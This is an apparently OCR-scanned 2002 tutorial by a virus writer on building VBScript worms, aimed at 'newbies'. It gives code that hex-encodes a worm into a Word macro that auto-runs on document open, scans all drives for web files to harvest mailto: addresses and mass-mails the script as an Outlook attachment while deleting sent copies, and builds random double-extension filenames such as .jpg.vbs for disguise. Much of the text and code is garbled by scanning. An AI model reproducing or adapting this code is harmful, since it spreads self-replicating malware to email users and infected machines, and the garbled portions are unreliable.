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=== VBS tutorial ===
=== by PetiK (05/05/2002) ====
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End If

End If

If Len(virus)-i = 0 Then
sp. WriteLine "e = e + """+f+"""
f=""

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################
# Introducion:
################
I wrote this article after programming VBS. Xchange and VBS. Doublet (two VBS/DOC infectors).
There are three parts in this article.

- Hex Conversion: How convert a ascii file (VBS in a module of Word for example).

- Spread with "mailto:": spread a VBS worm with web files.

- Random Name Generator: To change in each start a new copy of a VBS worm/virii.
I succeeded to code without look at other source This sort of aticle is of course not for good coderz but for the newbies (NOT LAMERZ) and all people who want learn about WORM programming.
###################
# HEX CONVERSION:
###################
Why convert a file in hexadecimal ?? For example to put it in module of a Word dosument.
How to do this ??

    Set fso=CreateObject("Scripting.FileSystemObject")
Set fl=fso.OpenTextFile(WScript.ScriptFullname, 1)

    vi rus=fl . ReadAl I
                                                                              ' Read all the file
    fl. Close
                                              ' Take the size of the file
2) For i = 1 To len(virus)
                                              ' Take one byte after one. 
' And convert in hexa. (P=50; e=65; ...)
3) e=Mid(virus, i, 1)
    e=Hex(Asc(e))
                                              ' If the hexa < 10h we add a 0 ' Example: return (ODhOAh). We will have D and A. ' So we add a 0 => 0D and 0A
4) If Len(e)=1 Then e="0"&e
    End If
    End If
6) If Len(virus)-i = 0 Then
sp. WriteLine "e = e + """+f+"""
f=""
                                                       ' Here is for the last line if there are less 110 char : e = e + "\dots 1 < number of char < 110..."
    End If
On Error Resume Next
Set fso=CreateObject("Scripting.FileSystemObject")
Set fl=fso.OpenTextFile(WScript.ScriptFullname, 1)
vi rus=fl . ReadAl l
fl. Close
set sp=fso.CreateTextFile("example_vbshex.txt", True, 8)
sp. WriteLine "Attribute VB_Name = ""VirModule"""
sp. WriteLine "Sub AutoOpen()"
sp. WriteLine "On Error Resume Next"
sp. WriteLine "e = """"
For i=1 To len(virus)
e=Mid(virus, i, 1)
e=Hex(Asc(e))
If Len(e)=1 Then e="0"&e
End If
f=f+e
If Len(f)=110 Then
sp. WriteLine "e = e + """+f+"""
f=""
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Next
sp. WriteLine "read=dec(e)"
sp. WriteLine "read=dec(e)"
sp. WriteLine "Open ""C:\newvbsfile.vbs"" For Output As #1"
sp. WriteLine "Print #1, read"
sp. WriteLine "Close #1"
sp. WriteLine "Shell "wscript C:\newvbsfile.vbs"""
sp. WriteLine "End Sub"
sp. Wri teLi ne
sp. WriteLine
sp. WriteLine "Function dec(octe)"
sp. WriteLine "For hexad = 1 To Len(octe) Step 2"
sp. WriteLine "dec = dec & Chr(""&h"" & Mid(octe, sp. WriteLine "Next"
                                       & Mid(octe, hexad, 2))"
sp. WriteLine "End Function"
sp. Close
****
And this is the result:
Attribute VB Name = "VirModule"
Sub AutoOpen()
On Error Resume Next
 4F6E204572726F7220526573756D65204E6578740D0A5365742066736F3D4372656174654F626A6563742822536372697074696E672E46"
 e = e + "707446756C6C6E616D652C31290D0A76697275733D666C2E52656164416C6C0D0A666C2E436C6F73650D0A0D0A7365742073703D66736F"
e = e + "2E4372656174655465787446696C6528226578616D706C655F7662736865782E747874222C547275652C38290D0A73702E57726974654C"
 696E6520224174747269627574652056425F4E616D65203D2022225669724D6F64756C65222222DD0A73702E57726974654C696E652022"
e = e + "537562204175746F4F70656E2829220D0A73702E57726974654C696E6520224F6E204572726F7220526573756D65204E657874220D0A73"
 702E57726974654C696E65202265203D202222222222D0A0D0A466F7220693D3120546F206C656E287669727573290D0A0D0A653D4D69"
 642876697275732C692C31290D0A653D48657828417363286529290D0A0D0A4966204C656E2865293D31205468656E0D0A653D22302226"
"650D0A456E642049660D0A0D0A663D662B650D0A4966204C656E2866293D313130205468656E0D0A73702E57726974654C696E65202265"
\begin{array}{lll} e &= e & + \\ "203D2065202B20222222B662B22222222DD0A663D22220D0A456E642049660D0A0D0A4966204C656E287669727573292D69203D203020" \\ \end{array}
e = e -
'5468656E0D0A73702E57726974654C696E65202265203D2065202B202222222B662B22222220D0A663D22220D0A456E642049660D0A0D"
 OA4E6578740D0A0D0A73702E57726974654C696E652022726561643D646563286529220D0A73702E57726974654C696E6520224F70656E"
e = e + \\ "202222433A5C6E657776627366696C652E766273222220466F72204F7574707574204173202331220D0A73702E57726974654C696E6520"
 225072696E742023312C2072656164220D0A73702E57726974654C696E652022436C6F7365202331220D0A73702E57726974654C696E65"
 "6E6420537562220D0A73702E57726974654C696E652022220D0A73702E57726974654C696E65202246756E6374696F6E20646563286F63"
 746529220D0A73702E57726974654C696E652022466F72206865786164203D203120546F204C656E286F6374652920537465702032220D"
e = e + "0A73702E57726974654C696E652022646563203D2064656320262043687228222266822222026204D6964286F6374652C206865786164"
 2C20322929220D0A73702E57726974654C696E6520224E657874220D0A73702E57726974654C696E652022456E642046756E6374696F6E"
e = e + "220D0A73702E436C6F7365"
read=dec(e)
Open "C:\newvbsfile.vbs" For Output As #1
Print #1, read
Close #1
Shell "wscript C:\newvbsfile.vbs"
End Sub
Function dec(octe)
For hexad = 1 To Len(octe) Step 2
dec = dec & Chr("&h" & Mid(octe, hexad, 2))
Next
End Function
****
The function "dec" allows to convert in the opposite sense.
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Now we are going to see how spread a VBS worm without the Windows AddressBook (aka WAB). If we can't use the WAB, we can read old mail and take the EMail. But too bad, I don't in VBS. Last solution: take the EMail in the WEB file (htm, html, asp, etc...).
When we see a link to send an mail by clicking this is the code:
href="mailto:petikvx@aol.com">PetiKVX</A>
There is always this string: "MAILTO: ". So! Fine!
We can scan all file to search this string and scan the EMail.
1) if (ext="htm") or (ext="html") or (ext="htt") or (ext="asp") Then ' Take the good extension ' htm, html, asp, doc, xls set htm=fso.OpenTextFile(fil.path,1) ' and open the file.
    veri f=True
    allhtm=htm. ReadAll()
                                                                            ' Read all the file.
    htm. Close
                                                                                      ' Get the size.
2) For ml = 1 To Len(allhtm)
    count=0
3) If Mid(allhtm, ml, 7) = "mailto:" Then
    counter=counter+1
    ml to=""
                                                                            ' Find the mailto: string.
4) Do While Mid(allhtm, ml +6+count, 1) <> """"
                                                                            ' Scan the EMail until the '"' string.
    count=count+1
    ml to = ml to + Mid(allhtm, ml +6+count, 1)
    Loop
                                                                            ' Send the mail
5) sendmailto(left(mlto,len(mlto)-1))
And now, the code:
On Error Resume Next Set fso=CreateObject("Scripting.FileSystemObject")
Set mel = fso. CreateTextFile("spread_mailto.txt", 8, TRUE)
counter=0
lect()
mel.WriteLine "#"
mel.Close
WScript. Quit
Sub lect()
On Error Resume Next
Set dr=fso. Dri ves
For Each d in dr
If d. DriveType=2 or d. DriveType=3 Then
list(d.path&"\")
End If
Next
End Sub
Sub spreadmailto(dir)
On Error Resume Next
Set fso=CreateObject("Scripting.FileSystemObject")
Set f=fso.GetFolder(dir)
Set cf=f.Files
For Each fil in cf
ext=fso. GetExtensi onName(fil.path)
ext=lcase(ext)
if (ext="htm") or (ext="htm") or (ext="htt") or (ext="asp") Then
set htm=fso.OpenTextFile(fil.path, 1)
allhtm=htm. ReadAll()
htm. Close
For ml =1 To Len(allhtm) count=0
If Mid(allhtm, ml, 7) = "mailto:" Then counter=counter+1 mlto=""
Do While Mid(allhtm, ml +6+count, 1) <> """"
count=count+1
ml to = ml to + Mid(allhtm, ml +6+count, 1)
mel. WriteLine counter &" <"&left(mlto,len(mlto)-1)&">"
msgbox ml to
sendmail to(left(ml to, len(ml to)-1))
```

```
Fnd If
Next
End If
Next
End Sub
Sub list(dir)
On Error Resume Next
Set f=fso.GetFolder(dir)
Set ssf=f.SubFolders
For Each fil in ssf
spreadmailto(fil.path)
list(fil.path)
Next
End Sub
Sub sendmailto(email)
Set out=CreateObject("Outlook.Application")
Set mailmelto=out.Createltem(0)
mailmelto.To email
mailmelto.Subject "Subject of worm"
mailmelto.Body "Body of worm"
mailmelto.Attachment.Add (WScript.ScriptFullName)
mailmelto.DeletaAfterSubmit - True
mailmelto.DeleteAfterSubmit = True
mail mel to. Send
Set out = Nothing
End Sub
****
In the spread_mailto.txt file we have this:
1 <Petikvx@aol.com>
2 <VBS. Ketip. A@mm>
3 <PetiK@aoi.com>
4 <kavdaemon@rel ay. avp. ru>
7 <Pentasm99@aol.com screenname=>
****
We can see of course some problems:
- < VBS. Ketip. A@mm> : not a real EMail but a Norton Worm Name
  <kavdaemon@rel ay. avp. ru>kavdaemon@rel ay. avp. ru</A></TD></TR>:
<TR class=aol mail header>
<TD noWrap vAlign=top width=>
                                                                 : The scan doesn't found immediatly the '"' string.
- <Pentasm99@aol.com screenname=> : IDEM. It was not '"' the end of the mail but a space (20h)
############################
# RANDOM NAME GENERATOR:
#############################
Like I said in my last article about "Hide a copy a of worm" we are going to make the same thing in VBS.
                                                                          ' Value of tmpname is NULL
1) tmpname=""
                                                                          ' Random size of the first part of name
2) randomize(timer)
    namel = i nt(rnd(1) *20) +1
                                                                  ' between 1 and 20.
3) For lettre = 1 To namel
                                                                            Put the Letter.
                                                                    '97: Start from "a" (65: Start from "A")
26: from "a-A" to "z-Z"
for number 26 => 9 and 97 => 48
    randomi ze(ti mer)
    tmpname = tmpname & chr(int(rnd(1)*26)+97)
    Next
4) typext = "execombatbmpj pggi fdocxl sppthtmhtthta" randomi ze(ti mer)
                                                                 ' Now we choice an extension between 12 differents.
    tmpext = int(rnd(1)*11)+1
5) tmpname=tmpname & "." & mid(typext, ((tmpext-1)*3)+1, 3) & ".vbs" ' And we have the result
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This is the end of the article. I hope that it help you in your creations and research. If you have any suggestions or comments, please mail me to petikvx@aol.com

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